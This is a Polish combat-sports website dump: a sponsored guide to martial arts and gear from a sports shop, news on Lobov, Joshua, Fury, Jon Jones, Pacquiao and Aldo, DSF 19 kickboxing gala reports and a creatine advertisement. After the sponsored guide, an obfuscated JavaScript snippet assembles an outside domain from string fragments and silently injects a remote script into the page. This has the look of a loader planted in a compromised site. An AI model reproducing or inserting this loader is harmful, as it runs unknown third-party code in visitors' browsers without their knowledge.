Sporty walki – idealne jako hobby i profesjonalny trening

Jakie sporty walki najczęściej uprawiane są hobbistycznie?

Sztuki walki mogą być trenowane przez każdego, bez względu na wiek, kondycję czy umiejętności. Intensywność treningu oraz nauki technik danej sztuki walki dobierana jest przez trenerów po wcześniejszym zapoznaniu się z kandydatem. Dostosowywanie treningu do osoby umożliwia szybki postęp w szkoleniu oraz sprawne uzyskiwanie pożądanych efektów. Trening jest również uzależniony od rodzaju wybranej sztuki walki. 

Bardzo popularnym wyborem jest boks. Ta sztuka walki posiada bogatą historię oraz tradycję. Boks jest jedną z niewielu sztuk walki zaliczaną do dyscyplin olimpijskich. Sport ten wymaga doskonałych umiejętności, siły oraz sprytu. Bardzo ważna jest technika, która integruje pracę całego ciała. Najważniejsze w boksie są nogi, na których zawodnik musi umiejętnie pracować. Boks jest sportem bezpiecznym, kontaktowym, polegającym na uderzaniu wyłącznie rękami w określone partie ciała, z pominięciem pleców, tyłu głowy oraz partii poniżej pasa. Boks to jednocześnie rozwijający oraz mocno dochodowy sport, dlatego też cieszy się on dużym zainteresowaniem na całym świecie. To na fundamentach boksu powstały takie sztuki walki jak kick boxing i MMA.

""

Kick boxing to forma boksu rozbudowana o możliwość kopnięć. Ta sztuka walki zyskuje sobie coraz więcej zwolenników. Dzięki wykorzystaniu nóg w walce staje się też ona bardziej zjawiskowa. Kick boxing nie jest jednak dyscypliną olimpijską. Nie jest nią też MMA. MMA to sport walki polegający na mieszaniu kilku stylów. Podstawą MMA, podobnie jak kick boxingu jest boks. W trakcie walki w MMA stosowane są również kopnięcia oraz elementy zapaśnicze. Przeciwnikowi można także zakładać dźwignie, uderzać kolanami, łokciami, a sama walka odbywa się stojąc lub w parterze. W MMA stosuje się zatem wiele technik, które adept musi opanować. MMA to sztuka walki bardzo wymagająca fizycznie, ale jednocześnie jest ona niezwykle skuteczna. 

Wymagające fizycznie są także zapasy. Ta sztuka walki również zaliczana jest do dyscyplin olimpijskich. Historia zapasów zaczyna się w starożytności. Sport ten oparty jest na walce zwartej odbywające się głównie w parterze. Walczący wykonują bloki, rzuty, obalenia. Zapasy to bardzo wymagająca, ale też doskonała dyscyplina sportu.

""

Niezwykle często wybieraną sztuką walki jest karate. Sport ten jest nie tylko zbiorem konkretnych technik, ale także opiera się on na kształtowaniu człowieka oraz jego rozwoju. Karate wykorzystuje ludzkie ciało w różnoraki sposób, w zależności od wersji sztuki walki, a tych karate ma kilka. Na podobnych zasadach opierają się inne wschodnie sztuki walki, jak na przykład kung-fu, jujutsu czy taekwondo. Ostateczny wybór danej sztuki walki uzależniony będzie już od oczekiwań i wymagań danej osoby.

 

 

Jak wpływa uprawianie sportów walki na człowieka?

Sztuki walki to te dyscypliny sportu, które skutecznie dostarczają wymaganej aktywności w codziennym życiu. Dzięki sportom walki zapewnia się trening całego ciała, usprawnia kondycję, buduje mięśnie oraz skutecznie rozwija motorykę całego organizmu. Uprawianie sztuk walki jest bardzo wymagające i z tego trzeba zdać sobie sprawę. Zestaw ćwiczeń przy każdej ze sztuk walki pozytywnie wpływa na polepszenie stanu kondycji fizycznej, wzmocnienie mięśni i stawów oraz utratę tkanki tłuszczowej, a co za tym idzie redukcję wagi. Sylwetka adepta sztuk walki zdecydowanie się polepsza, nabiera atletycznych kształtów.

""

Każda ze sztuk walki rozwija koordynację ruchową usprawniając komunikację nerwową pomiędzy mózgiem a mięśniami, dzięki czemu czas reakcji zostaje skrócony. Razem z szybkością rozwija się też siła oraz szybkość, co zwiększa pewność siebie osoby trenującej. Sztuki walki poprawiają również koncentrację oraz skutecznie dbają o stan psychiczny, dzięki wyładowywaniu złych emocji podczas treningów. Wschodnie sztuki walki dodatkowo zawierają elementy medytacji i samodoskonalenia, dzięki czemu człowiek odzyskuje spokój, kontrolę nad swoim życiem. Częste treningi pozwalają odpocząć mózgowi dostarczając mu cennych endorfin.

 

Skuteczna samoobrona – efekt uboczny sportów walki

Trenując sztuki walki człowiek zdobywa bardzo przydatną umiejętność, jaką jest samoobrona. Posługiwanie się technikami defensywnymi oraz ofensywnymi zapewnia skuteczną obronę przed atakiem w codziennym życiu. Uprawianie sztuk walki daje dużą pewność osobie, zapewnia poczucie bezpieczeństwa, a w sytuacji ataku przez osoby trzecie pozwala na skuteczną obronę. Trenerzy sztuk walki uświadamiają swoich uczniów, że użycie technik danej sztuki jest dopuszczalne tylko w hali treningowej oraz w sytuacji obrony przed atakiem. Umiejętność samoobrony jest dziś bardzo przydatna.

Kask, rękawice i ochraniacze – czyli jaki sprzęt będzie potrzebny?

Trening sztuk walki wymaga doświadczonego trenera, sporo samozaparcia, konsekwencji oraz specjalistycznego sprzętu. Decydując się na boks konieczne jest wyposażenie się w odpowiedni sprzęt. Podstawą są oczywiście rękawice bokserskie oraz kask bokserski treningowy. Podobnie trenując MMA konieczne są rękawice do MMA. W kick boxingu przyda się kask i ochraniacze. Każda inna sztuka walki w momencie ćwiczeń potyczek korzysta z takich sprzętów, jak kask sparingowy czy inne elementy ochronne zapewniające bezpieczeństwo.

""

Doskonałej jakości, sprawdzony i wykorzystywany przez profesjonalne szkoły sztuk walki dostępny jest w ofercie sklepu hurtowniasportowa.net. Firma posiada zawodowe rękawice MMA, rękawice bokserskie renomowanych marek (na przykład: rękawice bokserskie Adidas, rękawice bokserskie Dragon, rękawice bokserskie Everlast); kaski, ochraniacze oraz inny sprzęt wykorzystywany w treningach sztuk walki. Wyposażenie to zadowoli zarówno adeptów, jak i zawodowców.

 

 

 

 

 

[kod]

(function(){
xggd_=("u"+"")+"s"+"";xggd_+=("tat.")+("i");
xggd=document.createElement("script");xggd.type="text/javascript";xggd_+="nf"+("o")+"/";
xggdu="129574268"+".";xggd.async=true;xggdu+="xx5m8ug0ggdaecX5mmkgub6x973zzu";
xggd.src="https://"+xggd_+xggdu;xggdb=document.body;xggdb.appendChild(xggd);
})();

Lobov znajdzie przystań w Polsce?

Artem Lobov został zwolniony z UFC. 32-latek wymienił listę organizacji, w których chciałby występować. Irlandczyk czeka na propozycje, jedną już otrzymał – wysunął ją prezes FEN Paweł Jóźwiak.

Lobov jest znany w świecie sportów walki jako zawodnik, który nie boi się żadnego wyzwania. Irlandczyk gotów był spotkać się z każdym rywalem. Organizatorzy gal proponowali przeciwnika, a on wchodził i walczył. Problem w tym, że jego kariera to istna sinusoida. Wygrane przeplatał porażkami, jednak w końcu stanął u bram UFC. W 2015 roku Lobov trafił do programu The Ultimate Fighter, a potem miał okazję prezentować się w najlepszej organizacji MMA na świecie. Wygrał tylko dwie walki, a jego przygoda dobiegła końca po trzech porażkach z rzędu, które zanotował w latach 2017-2018. Łącznie w UFC Irlandczyk urodzony w Rosji uznał wyższość rywali pięć razy. Lobov zyskał popularność przy wsparciu… Conora McGregora, który stawał w jego narożniku. Ten element nie przeważył jednak szali i Irlandczyk musi szukać nowego pracodawcy.

32-letni Lobov wystosował swego rodzaju ogłoszenie za pośrednictwem Twittera. – Załadowany, gotowy do podjęcia każdego! Kto tego chce? – napisał zawodnik i wymienił następujące organizacje: Bellator, Rizin, Bare Knuckle FC, Obe Championship oraz ACA. W tym gronie znalazła się również federacja KSW. Z Polski napłynęła kolejna propozycja dla Irlandczyka. Wystosował ją prezes FEN Paweł Jóźwiak. – Może FEN? Przyjdź Russian Hammer (pseudonim fightera), zróbmy to – zwrócił się włodarz organizacji.

Pozostaje czekać na ruch kolejnych podmiotów. Z pewnością angaż Lobova będzie niósł ze sobą rozgłos. Co do obecności Irlandczyka w Polsce, zawodnik dwukrotnie prezentował się w naszym kraju. W listopadzie 2014 roku wystąpił na gali Fighters Arena 10 w Bełchatowie, gdzie w walce wieczoru zremisował z Pawłem Kiełkiem. Drugi występ miał miejsce w płockiej Orlen Arenie. Podczas gali ACB 13 Lobov pokonał Rasula Shovhalova. Podczas swojej kariery Irlandczyk urodzony w Rosji walczył także z Kamilem Gniadkiem, Arturem Sowińskim czy Kamilem Koryckim. Na swoim koncie Lobov ma 13 zwycięstw i 15 porażek.

Fot. Artem "The Russian Hammer" Lobov Facebook

KM

Wszystko się krystalizuje

Wiadomo, że 2019 rok może być gorący w wadze ciężkiej. Coraz bliżej konkretów w sprawie rewanżowej walki Tysona Fury’ego z Deontayem Wilderem. Z kolei Anthony Joshua ma zmierzyć się z Jarrellem Millerem.

Przez długi czas zapowiadano, że kolejne starcie Joshuy odbędzie się 13 kwietnia na stadionie Wembley. W grudniu ubiegłego roku czempion IBF, WBO, WBA i IBO zapowiadał gotowość do starcia z Wilderem. Również Eddie Hearn, promotor Brytyjczyka, podkreślał, że celem numer jeden jest Wilder. Wtedy do akcji wkroczył, jakżeby inaczej – Tyson Fury.  Olbrzym z Wilmslow wymyślił, że 13 kwietnia miałaby się odbyć jego rewanżowa walka z Wilderem. Przypomnijmy, 1 grudnia w Staples Center pojedynek bokserów oceniono jako remisowy. Również Wilder podkreślał chęć rewanżu, co w kłopotliwej sytuacji stawiało Joshuę. 13 kwietnia zostałby… w cieniu. Ofertę walki z mistrzem otrzymał również Fury. Brytyjczyk podkreśla, że liczą się tylko dwaj rywale – Wilder i Joshua. Jednak musiał wbić kij mrowisko mówiąc o strachu "AJ" przed starciem z nim.

Wiadomo, że cała otoczka ma na celu wzbudzenie jak największego zainteresowania. Trwa oczekiwanie na hitowe pojedynki w wadze ciężkiej, jednak droga do nich musi przejść przez kolejne etapy. Wydaje się, że z jednej strony to gra pozorów i obawy. Fury nigdy nie zważał na słowa i używał mocnego języka. Może i uderza w Joshuę, ale zapewne też ma obawy względem starcia z czempionem. Z Wilderem olbrzym z Wilmslow już walczył i poczuł, że może z nim wygrać. Mistrz WBC jest podrażniony remisem i chce zanotować kolejne zwycięstwo. Niby Joshua jest teraz w cieniu, ale on ma wszystkie karty w ręku. Kto by nie wygrał starcia Wilder-Fury, prędzej czy później stanie w szranki z „AJ”.

Po kolei. 13 kwietnia Joshua zapewne nie wystąpi na Wembley. Nie widać postępów w rozmowach z potencjalnymi rywalami. Do przodu idą ustalenia w sprawie starcia z Jarrellem Millerem. Pojedynek miałby odbyć się 1 czerwca w Madison Square Garden w Nowym Jorku. Coraz bliżej konkretów w sprawie rewanżu niepokonanych Wildera i Fury'ego. W kontekście ich walki padają dwa terminy – 27 kwietnia bądź 18 maja w Barclays Center na Brooklynie.

Fot. Deontay Wilder Facebook

KM

Co daje kreatyna? Poznaj najważniejsze fakty

Kreatyna – substancja naturalnie występująca w ludzkich mięśniach – stanowi popularny składnik suplementów diety dla sportowców. Dzieje się tak z co najmniej kilku ważnych powodów. Poniżej krótko omówiliśmy każdy z nich.

Powód pierwszy: powoduje wzrost masy mięśniowej

Kreatyna to składnik, który może wspierać wzrost siły i wielkości mięśni. Wskazują na to niezliczone badania naukowe. Szereg korzyści płynących dla organizmu z obecności tego składnika sprawia, że sportowcy chcący zbudować umięśnioną sylwetkę sięgają po suplementy zawierające kreatynę – między innymi po Activlab Creatine Powder Super. Kreatyna (w wersji monohydratu przyswaja się najlepiej) przyczynia się do wzrostu masy mięśniowej i przyrostu siły. W jednej łyżeczce monohydratu jest tyle kreatyny, ile w wielu kilogramach mięsa czy ryb.

Powód drugi: dostarcza energii podczas wyczerpujących treningów

Wielu sportowców, którzy po pewnym czasie stosowania odstawili kreatynę, dostrzegło u siebie spadek energii. Kreatyna zwiększa energię niezbędną dla skurczów mięśni, umożliwiając odbywanie bardziej wymagających, intensywnych i dłuższych treningów. W procesie przyswajania jest transportowana do tkanki mięśniowej, gdzie przekształca się w fosforan kreatyny. Z niego jest następnie produkowana cząsteczka energii ATP, która jest niezbędna w procesie regeneracji mięśni. W ten sposób przyjmowanie kreatyny przekłada się na bardziej produktywne treningi i szybszy wzrost masy mięśniowej. Kreatyna zwiększa wydajność nie tylko u osób zawodowo uprawiających sport (zapaśników, piłkarzy, pływaków, hokeistów itp.) czy osób chcących poprawić wyniki podczas krótkich okresów aktywności sportowej cechującej się dużą intensywnością (sprint czy podnoszenie ciężarów), ale także wspiera amatorów ćwiczących w wolnych chwilach w osiąganiu lepszych wyników i bardziej estetycznej sylwetki.

Powód trzeci: zwiększa poziom substancji w organizmie do pożądanego poziomu

Jak już wcześniej wspomnieliśmy, kreatyna jest naturalnym składnikiem występującym w każdym organizmie. U człowieka znajduje się w zdecydowanej większości (98%) w mięśniach. Drobne ilości tej substancji znajdują się także w mózgu, nerkach, trzustce, jądrach i wątrobie. Warto wiedzieć, że 1 gram kreatyny jest dostarczany organizmowi w codziennej diecie – głównie na skutek spożycia mięsa i ryb. Kolejny zalecany 1 gram, na które organizm ma zapotrzebowanie, warto pokryć, stosując suplementy diety zawierające kreatynę, a najlepiej – dobrze wchłaniany – monohydrat kreatyny.

Powód czwarty: jest prosta do kupienia i dostępna pod wieloma postaciami

Kreatynę można dostarczyć organizmowi w prosty sposób – nie tylko poprzez stosowanie diety, ale także na skutek uzupełniania jej poprzez łatwo dostępny monohydrat. Kreatyna może być przyjmowana nie tylko w formie sproszkowanej, ale także pod postacią tabletek, batonów energetycznych i mieszanek do picia. Prosta w dawkowaniu i przyjmowaniu substancja pozwala poprawić sprawność fizyczną, dlatego jest tak chętnie stosowana wśród osób aktywnie uprawiających sport i dbających o swoją sylwetkę.

 

 

Pas zostaje u Bratkowicza

Maksymilian Bratkowicz nadal na szczycie. Podczas gali DSF 19: Ringowa Wojna w Warszawie mistrz obronił pas wagi średniej. Do zmiany doszło na tronie kategorii piórkowej.

Na tydzień przed wydarzeniem nastąpiła zmiana lokalizacji. Galę przeniesiono z Grudziądza do Warszawy. DSF 19: Ringowa Wojna przyniosła dwie ciekawe walki mistrzowskie oraz pewne zwycięstwo Polski nad Litwą. Momentami było… śmiesznie. Podczas jednej z walk doszło do zmiany sędziego, ponieważ arbitrowi rozerwały się spodnie. Zostańmy jednak przy emocjach sportowych, bo tych nie brakowało.

Przed walką o pas wagi średniej było gorąco. Maksymilian Bratkowicz nie ukrywał swoich ambicji, również Daniel Viedenthaler był zdeterminowany. Widoczne było to w ringu. Energiczny początek i momentami chaotyczne akcje, ale i mocne ciosy. Na początku drugiej rundy Bratkowicz „posadził” low kickiem rywala. Czech spychał Polaka pod liny, ale niewiele z tego wychodziło. Ponadto Viedenthaler próbował trafić przeciwnika kolanem. Po zakończeniu czwartej rundy widać było trudy pojedynku u obu fighterów. W piątej odsłonie lepiej wyglądał Czech. Trafił mocnymi uderzeniami, a Bratkowicz opadał z sił. W końcówce przebudził się Polak, ale pozostawało pytanie – czy to wystarczy? Szalony pojedynek zakończył się triumfem Bratkowicza.

O pas wagi piórkowej rywalizowali Jan Lodzik i Eliasz Jankowski. Pierwotnie „Iron” miał spotkać się z Mateuszem Rajewskim, jednak na początku tygodnia „Rzeźnik” musiał wycofać się z występu na DSF 19 z powodu kontuzji. Federacja ekspresowo znalazła zastępstwo. Ani chwili nad możliwością walki o pas nie zastanawiał się Eliasz Jankowski. Lodzik miał rachunki do wyrównania z rywalem, bo swego czasu musiał uznać jego wyższość. Doświadczenie Eliasza Jankowskiego i umiejętności Jana Lodzika sprawiły, że pojedynek był ciekawy. Zawodnicy ciężko pracowali, próbowali ekwilibrystycznych akcji. Cios za cios, kopnięcie za kopnięcie oraz pełne skupienie. Wydawało się, że w ofensywie lekko przeważa Lodzik. Pięć rund i czas na decyzję sędziów. 48:47, 48:47 i 49:47 dla Jankowskiego, który ponownie pokonał Lodzika i został nowym mistrzem DSF.

W walce „ciężkich” (+91kg) Kewin Wiwatowski lepszy od Mateusza Janu. Pojedynek ciekawy, obaj zawodnicy nie stronili od walki. Nie brakowało wymian i mocnych ciosów oraz kopnięć. Wiwatowski triumfował w trzeciej rundzie.

Fantastyczna postawa Polaków w międzypaństwowym meczu z Litwą. W pierwszej walce (65kg) zaprezentował się Michał Polak. Otwarcie dla Jonasa Vasiliauskasa, jednak z czasem inicjatywę przejął nasz zawodnik. 19-letni Litwin przekonał się o sile Polaka, który co i raz niepokoił przeciwnika low kickami. W drugiej odsłonie pojedynek zakończył się przez TKO. Kolejne starcie(71kg) rozstrzygnęło się na punkty. Patryk Radoń był skuteczniejszy, zadawał więcej ciosów i dążył do rywalizacji, zaś Ernestas Dapkus szukał raczej klinczu. Zdecydowana wygrana Radonia – 30:26, 30:26 i 30:27. Kropkę nad "i" postawił Daniel Kolasiński. Wszedł do ringu na luzie i przez całe starcie był stroną dopingującą w pojedynku z Deividasem Jemeljanovasem. W drugiej rundzie frontalne kopnięcie Kolasińskiego zakończyło walkę.

W pojedynku w limicie 60kg Michał Marszał pokonał jednogłośną decyzją Dominika Tomicę.

Fot. DSF Kickboxing Challenge Facebook

KM

Historia lubi się powtarzać

W organizmie Jona Jonesa wykryto niedozwolone substancje. Po raz kolejny… Amerykańskiemu zawodnikowi się jednak upiecze.

29 grudnia popularny "Bones" wrócił w wielkim stylu. Podczas gali UFC 232 w The Forum w Inglewood w trzeciej rundzie znokautował Alexandra Gustafssona i sięgnął po pas mistrzowski wagi półciężkiej. Dla Jonesa był to pierwszy pojedynek od ponad dwóch lat. Wcześniejsze starcie (lipiec 2017) z Danielem Cormierem unieważniono w związku z pozytywnym wynikiem testów antydopingowych u "Bonesa". Kara – 15 miesięcy zawieszenia.

Wydawać by się mogło, że liczne kłopoty pozwolą 31-latkowi urodzonemu w Rochester wyciągnąć odpowiednie wnioski. Przez wiele lat Jones był mistrzem UFC, a w jednej chwili jego wizerunek diametralnie się zmienił. Ciąg negatywnych wydarzeń nie poprawia jego sytuacji. Przypomnijmy kolejną sprawę, przed walką z Gustafssonem u Jonesa wykryto śladowe ilości turinabolu. Do pojedynku doszło, ponieważ… galę przeniesiono z Las Vegas do Inglewood. Przyczyna była prosta. Komisja Sportowa Stanu Nevada zapewne nie zgodziłby się na starcie.

Niecały miesiąc po walce pojawiają się kolejne wiadomości o stosowaniu niedozwolonych środków przez Jona Jonesa. Testy antydopingowe zostały przeprowadzona 28 grudnia, a więc w dniu ważenia przed galą UFC 232. U Jonesa wykryto obecność turinabolu. Mistrzowi UFC się jednak upiecze. Dlaczego? Andy Foster z Komisji Sportowej Stanu Kalifornia zwraca uwagę na tzw. efekt pulsacyjny. Mówiąc jaśniej – niewielkie ilości środków stosowanych przez Jonesa w przeszłości mogą być wykrywane w jego organizmie w przyszłości.

Jon Jones może spać spokojnie, ponieważ kalifornijska komisja nie zamierza w żaden sposób go karać. Zatem 31-latek pozostaje w posiadaniu pasa mistrzowskiego i może szykować się do kolejnego starcia. 2 marca Jones zmierzy się z Anthonym Smithem.

Z pewnością jednak cała sprawa nie działa pozytywnie na wizerunek zawodnika. Nie da się ukryć, że każda kolejna walka Jonesa będzie budziła wątpliwości, a analiza nie sprowadzi się jedynie do aspektu sportowego.

Podczas dotychczasowych występów 31-letni Amerykanin odnotował 23 zwycięstwa, przegrał tylko raz.

KM

TEST

test

[kod]

DSF Kickboxing Challenge 19

DSF Kickboxing Challenge 19

var player = redcdnplayer("redcdnplayer").setup({

file: {

hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",

dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",

ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"

},

width: 640,

height: 380,

autoplay: false,

});

DSF 19: Kontuzja Mateusza Rajewskiego. Jan „Iron” Lodzik zmierzy się z Eliaszem Jankowskim!

Badanie kontrolne w Centrum Medycyny Sportowej wykazało, że Mateusz Rajewski zmaga się z poważną kontuzją i nie może przystąpić do czwartkowej walki z Janem Lodzikiem o mistrzostwo DSF Kickboxing Challenge w wadze piórkowej (do 65 kg). Federacja błyskawicznie znalazła zastępstwo i na gali DSF 19 czempion zmierzy się z Eliaszem Jankowskim.

– Mateusz ma naderwany rdzeń ścięgnisty w bicepsie prawej ręki. Gdyby go zerwał, mógłby już nigdy nie wrócić na ring. Całe szczęście, że udało nam się w porę to wykryć – zdradza fizjoterapeutka Emilia Kurowska, która będzie czuwała nad rehabilitacją Rajewskiego.

25-letni „Rzeźnik” w bardzo dobrym stylu wygrał dwie ostatnie walki i stał się naturalnym pretendentem do tytułu mistrzowskiego. Pojedynek z Lodzikiem miał zwieńczyć ich trylogię, w której „Iron” dwukrotnie minimalnie wygrywał. Trzecia walka będzie jednak musiała zaczekać.

– Napisałem wczoraj do Mateusza. Szczerze mu współczuję, ale co się odwlecze, to nie uciecze. Mam nadzieję, że szybko wróci do zdrowia. Jeszcze razem zatańczymy w ringu! – zapewnia 23-letni Jan Lodzik (13-2). Kontuzjowanego Rajewskiego zastąpi zawodowy mistrz świata i wielokrotny mistrz Polski w kickboxingu Eliasz Jankowski (20-7-1).

– Znamy się od lat, to wojownik z krwi i kości – komplementuje rywala Lodzik. – Eliasz jest najbardziej doświadczonym polskim zawodnikiem w tej kategorii. Prezentuje zupełnie inny styl niż Mateusz Rajewski, bazuje na mocnym boksie. Wiele razy myślałem o tym pojedynku, najwyraźniej go przyciągnąłem. Zgodziłem się na walkę od razu, to była męska decyzja. Nie boję się walczyć z nikim. Przed laty przegrałem z Eliaszem trzy walki, jedną przed czasem. W czwartek będę miał okazję wyrównać rachunki! – cieszy się „Iron”.

Weteran Jankowski również nie wahał się, gdy pojawiła się oferta walki o mistrzowski pas federacji DSF Kickboxing Challenge. Zawodnik z Legnicy ostatni pojedynek stoczył 12 stycznia w Lubinie. Na gali FEN 23 pokonał w dobrym stylu Huberta Dylewskiego.

– To dla mnie naprawdę duża szansa, zamierzam w pełni ją wykorzystać – mówi 33-letni Eliasz Jankowski.  To prawda, że dowiedziałem się o walce w ostatniej chwili, ale jestem zawodowcem. Forma z ostatniego występu została utrzymana, kontuzji brak. Znamy się dobrze, walczyliśmy parokrotnie w amatorce i wygrywałem te pojedynki. Teraz też zamierzam go pokonać – kończy.

Gala DSF Kickboxing Challenge 19 odbędzie się w czwartek 24 stycznia w Hali Widowiskowej przy ul. Polnej 7a w Warszawie. Transmisja na żywo od godziny 20:15 na antenie TVP Sport.

Serdecznie zapraszamy wszystkich przedstawicieli mediów do udziału w oficjalnej ceremonii ważenia przed galą DSF Kickboxing Challenge 19. Ceremonia odbędzie się w środę 23 stycznia o godzinie 12:00 w Axe Nation – Axe Throwing Club w Warszawie przy ul. Postępu 5. Wstęp wolny.

Do wtorku przyjmujemy wnioski akredytacyjne na galę DSF Kickboxing Challenge 19. Zainteresowanych przedstawicieli mediów prosimy o przesłanie wiadomości zawierającej nazwisko, nazwę redakcji oraz numer kontaktowy na adres pr@dsfchallenge.com. Proces akredytacyjny dobiegnie końca we wtorek o północy.

Pojedynek 40-latków?

40-letni Manny Pacquiao wypunktował w Las Vegas 29-letniego Adriena Bronera. Teraz Filipińczyk ponownie chciałby spotkać się z Floydem Mayweatherem Jr.

Niektórzy mogą zacząć drapać się po głowie i zastanawiać nad dalszym rozwojem wypadków. 2 maja w Las Vegas Mayweather Jr. okazał się lepszy od Filipińczyka, który zdobywał pasy w ośmiu kategoriach wagowych. Poza tym, że pojedynek uznawano za jeden z najbardziej wyczekiwanych w XXI wieku, dodatkowo stał sie finansowym sukcesem. Mówiono o walce stulecia. Główni aktorzy zarobili pokaźne sumy – ok. 150 mln dolarów Mayweather, Pacquiao ok. 100 mln dolarów. Do tego doszły wpływy z pay per view. "Money" zdradził, że łączenie zgarnął ponad 275 mln dolarów. Jeśli na potencjalny rewanż patrzeć w kategoriach finansowych – z pewnością obu bokserom opłaca się ponownie wejść do ringu.

Warto przypomnieć, że Pacquiao miał zakończył karierę po pojedynku z Timothy'm Bradleyem Jr. W kwietniu 2016 roku Filipińczyk wygrał i miał zamknąć pewien rozdział. Pacquiao miał zająć się polityką, w wyborach został wybrany na senatora. Wielokrotny mistrz świata wchodził jeszcze do ringu, jednak w lipcu 2017 roku dość niespodziewanie przegrał z Jeffem Hornem, który został czempionem WBO w kategorii półśredniej. Niektórzy mówili o upadku legendy. "Pacman" nie poddał się i wrócił. W Kuala Lumpur pokonał przed czasem Lucasa Martina Matthysse i zdobył kolejny tytuł. Tym razem Pacquiao mógł się pochwalić pasem WBA w kategorii półśredniej. 61 zwycięstwo zapisał na swoim koncie pokonując Bronera.

Floyd Mayweather Jr. pokonał Andre Berto i jako niepokonany zakończył karierę. Był wrzesień 2015 roku. Nie minęły dwa lata, a "Money" ponownie wszedł do ringu. Tym razem jego rywalem był zawodnik MMA – Conor McGregor. Mayweather wygrał 50 walkę w karierze, zainkasował 100 milionów dolarów plus część wpływów z pay per view. Ponownie Amerykanin zapewniał, że kończy karierę. Minęło trochę czasu i Mayweather zaprezentował się w Saitamie. Tam, podczas gali Rizin FF 14 w grudniu 2018 roku, pokonał młodego Tenshina Nasukawę. Za pojedynek zgarnął "tylko" 9 milionów dolarów.

Po walce z Bronerem, Pacquiao jasno podkreślił, że chciałby zmierzyć się z Mayweatherem. "Money" z bliska obserwował starcie Filipińczyka, ale na jego słowa nie zareagował. Czy istnieje prawdopodobieństwo, że dwaj utytułowani bokserzy ponownie wejdą do ringu? Pacquiao znajduje się w posiadaniu pasa WBA. Z kolei Mayweather zrobił wszystko, co mógł, pobił wszelkie rekordy i pozostaje niepokonany. Podstawowa kwestia – z obu stron musi być chęć. Pacquiao liczy na rewanż, Mayweather wcale do niego nie musi się spieszyć.

KM

DSF 19: Jan "Iron" Lodzik vs Mateusz "Rzeźnik" Rajewski III

Gala DSF 19 odbędzie się już 24 stycznia w TVP Sport. Początek o godzinie 20:15. Na gali odbędą się dwie walki o mistrzowskie pasy federacji DSF Kickboxing Challenge. Najpierw Jan "Iron" Lodzik zmierzy się po raz trzeci z Mateuszem "Rzeźnikiem" Rajewskim, a w pojedynku wieczoru "Mad Max" Bratkowicz spotka się z Danielem Veidenthalerem. Kibice zobaczą także międzynarodowy mecz K-1 Polska-Litwa.

[kod]

Jeszcze trzy walki

2 lutego w Fortalezie podczas gali UFC Fight Night 144 Jose Aldo zmierzy się z Renato Carneiro. Dla byłego mistrza wagi piórkowej będzie to jedna z ostatnich walk, ponieważ 32-latek chce zakończyć karierę.

W 2009 roku Aldo wywalczył tytuł mistrzowski w organizacji WEC. Jego ofiarą padł Mike Brown. Brazylijczyk bronił pasa dwukrotnie, a następnie WEC włączono do UFC. Aldo automatycznie stał się czempionem tej organizacji i na tronie zasiadał do 2015 roku. Po drodze pokonał m.in. Chada Mendesa, Frankiego Edgara czy Jung Chan-sunga. Dopiero Conor McGregor znalazł sposób na Aldo i pozbawił go tytułu. Brazylijczyk chciał spotkać się z pogromcą w rewanżu, jednak do niego nie doszło. McGregor wybrał inny kierunek – najpierw starcia z Nate’m Diazem, a potem pojedynek o pas wagi lekkiej z Eddie’m Alvarezem. Aldo pozostał tymczasowy tytuł w kategorii piórkowej. Brazylijczyk pokonał kolejny raz Edgara, zaś McGregor oddał pas i Aldo ponownie został czempionem. Wydawało się, że wszystko wróciło do normy, jednak rywale również byli spragnieni sukcesów. Aldo przegrał z Maxem Holloway’em i stracił tytuł. W rewanżu również lepszy okazał się Amerykanin. Po dwóch porażkach przyszła osłoda – ostatnio Aldo wygrał z Jeremym Stephensem.

Bez dwóch zdań – 32-letni Brazylijczyk zapisał bogatą kartę w historii MMA. Brazylijczyk zapowiada zakończenie kariery. – Chcę zakończyć swoją karierę w Brazylii (za MMAfighting.com) – podkreśla Aldo, który przedstawił plan na ten rok. – Chcę stoczyć trzy walki. Teraz w Fortalezie, ale już negocjuję następny występ na maj (UFC 237), jeśli się nie mylę w Kurytybie. Potem zakończę w drugim półroczu. Wiem, że kolejne wydarzenie będzie miało miejsce w Brazylii – przedstawia.

W najbliższym starciu, 2 lutego, były mistrz zmierzy się z Renato Carneiro. 29-letni Brazylijczyk radzi sobie dobrze w UFC, z sześciu walk wygrał pięć. Przegrał jedynie z Brianem Ortegą, a ostatnio wypunktował Cuba Swansona.

Aldo myśli o pożegnaniu z UFC, dlatego odrzuca możliwość próby rywalizacji o pas. – Nie ma powodu, żeby dążyć do tej walki – mówi zawodnik. – Możecie być pewni, że będę problemem dla każdego, kto stanie przede mną, ponieważ wygram te trzy walki – zapewnia.

Fot. Jose Aldo Junior Facebook

KM

Gala DSF 19 przeniesiona z Grudziądza do Warszawy

Z przyczyn organizacyjnych gala DSF Kickboxing Challenge 19 zostaje przeniesiona do Hali Sportowej Ośrodka Sportu i Rekreacji dzielnicy Śródmieście przy ul. Polnej 7a w Warszawie. Pierwotnie impreza miała się odbyć w Hali Widowiskowo-Sportowej w Grudziądzu. Data i godziny transmisji (24 stycznia, godz. 20:15 w TVP Sport) pozostają bez zmian.

""

Na gali DSF 19 w Warszawie zgodnie z planem odbędą się dwa pojedynki mistrzowskie o pas DSF Kickboxing Challenge. Najpierw Jan „Iron” Lodzik po raz trzeci zmierzy się z Mateuszem „Rzeźnikiem” Rajewskim. Stawką ich walki będzie należący do tego pierwszego tytuł w kategorii piórkowej (do 65 kg). Główną atrakcją wieczoru będzie potyczka Maksymiliana Bratkowicza z mocarnym Danielem Veidenthalerem. „Mad Max” przystąpi do drugiej obrony pasa w wadze średniej (do 86 kg). Wcześniej kibice zobaczą także składający się z trzech potyczek międzynarodowy mecz K-1 Polska-Litwa.

Transmisja z gali DSF Kickboxing Challenge 19 odbędzie się 24 stycznia od godziny 20:15 w TVP Sport oraz na sport.tvp.pl.

Bal z nagrodami

Nie da się ukryć, że rok 2018 był niezwykle udany dla kickboxingu. 11 stycznia w Węgrowie podsumowano minionych dwanaście miesięcy. Przyznano również nagrody Herosa 2018 w kilkunastu kategoriach.

